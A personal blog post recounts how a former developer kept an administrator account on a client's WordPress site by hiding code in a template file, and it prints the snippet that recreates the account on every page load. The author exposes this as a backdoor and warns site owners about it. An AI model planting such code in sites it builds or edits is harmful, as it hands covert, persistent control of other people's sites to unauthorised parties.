• Skip to main content
  • Skip to primary sidebar
  • Skip to footer
Michele Neylon :: Pensieri

Michele Neylon :: Pensieri

Technology, Marketing, Domains, Thoughts

Dodgy WordPress Developer Tactics

August 14, 2023 by Michele Neylon 5 Comments

Once upon a time, a long long time ago I used to do some work on people’s websites. It’s how I ended up getting into the entire internet business. I generally don’t do work on people’s sites anymore, though I do manage multiple sites for myself and a few friends and organisations I’m involved with.

I was recently helping somebody make a few tweaks and changes to their site. One of the most straightforward tasks was removing a couple of users that were no longer involved, including a former developer…

Every single time I’d delete the user they’d “magically” reappear.

I tried everything I could think of. Downgrading the user permissions from “admin” to “author” or even to “no role”. It didn’t matter – the user kept being deleted (WordPress would give me a nice confirmation message) but yet the user would still be there.

After going round and round on this a few times I noticed something curious – the user ID kept changing.

So then I checked the database and my suspicion was confirmed. The user create timestamp was the same as the time when I’d last tried to remove them. So the user was being recreated as it was being deleted.

How?

At first I thought it was a plugin – maybe one of the lesser known plugins had this “feature” to “protect” a user? Maybe it was a “hidden” plugin?

Nope. Nothing.

Eventually I was able to get assistance via WordPress themselves (the site I was working on was hosted by them). The source of the issue?

Code in one of the template files.

So every single time a page on the site loaded this bit of code would run and if the user in question wasn’t there they’d be recreated.

The code wasn’t particularly complicated, but it was very sneaky:

$userdata = array(
    'user_login'  =>  'dodgyuser',
    'user_pass'   =>  'dodgypassword' , // When creating an user, `user_pass` is expected.
        'user_email' => 'do*******@**********er.com',
        'role' => 'administrator'
);
$user_id = wp_insert_user( $userdata ) ;

The key bit in theres is the “wp_insert_user” call. WordPress has a couple of different ways of handling user creation and that’s one of them.

So what was the developer up to?

I’d love to be “generous” and think that they weren’t doing anything nefarious, but the more I think about it the less comfortable I am with it. The code is a backdoor to the site. If there’s a falling out between the site owner and the developer there’s no simple way for a non-technical user to remove the developer from the site once and for all. I’m relatively technical, even if I deny it, and this little backdoor trick had me stumped. If I’d downloaded the entire site and run “grep” on the code to search for every instance of that call to create the user I would probably have found it. Eventually.

Either way this is not a nice or good way to do business with people.

If you outsource website development work to 3rd parties you need to be able to trust them and this kind of behaviour is very disturbing.

Related Posts:

  • Photo of old hand written letters on a desk with some pencils and pens
    I Sometimes Yearn For Simpler Times
  • michele-mo-3-november
    Doing Movember
  • privacy-keyboard-keys
    My Privacy Has Been Sold
  • 461385780_18459713311054922_6444784405823228692_n
    Some People ....
  • 538706731_18523161553054922_3476755989490256839_n
    Making Apple Jam
  • rhubarb-strawberry-crumble
    Enjoying the Harvest From my Garden Already

Filed Under: wordpress

Michele is founder and CEO of Irish hosting provider and domain name registrar Blacknight. Read More…

Reader Interactions

Leave a Reply

Your email address will not be published. Required fields are marked *

Primary Sidebar

dotblog founder

Mastodon

Archives

  • Bluesky
  • Instagram
  • Threads
  • Twitter

Pages

  • About Me
  • About This Site
  • Archives
  • Comments Policy
  • Contact Me
  • Newsletter
  • Privacy

Blogroll

  • Stewart Curry
  • My Mastodon
  • Tom Doyle
  • Technology.ie Podcast
  • Blacknight Blog

Stalking Links

Subscribe to Michele Neylon :: Pensieri

Blogroll

  • Blacknight Blog
  • Damien Mulley
  • Gianni Ponzi
  • Gordon Hudson
  • Grandad
  • My Mastodon
  • Paul Savage – BlackDog SEO
  • Stewart Curry
  • Technology.ie Podcast
  • Tom Doyle

Sites

  • Business Travel Tips
  • Discount Coupon Codes
  • Domain News
  • Fat.ie – my diet blog
  • Film Posters
  • Film Reviews
  • Films
  • Free Desktop Wallpapers
  • Irish Blogger Discussion Forum
  • Irish Stamps
  • Movie Trailers and News
  • Paste.ie

Footer

Site hosted in Ireland by Blacknight - Content copyright Michele Neylon

Copyright © 2026 · Magazine Pro on Genesis Framework · WordPress · Log in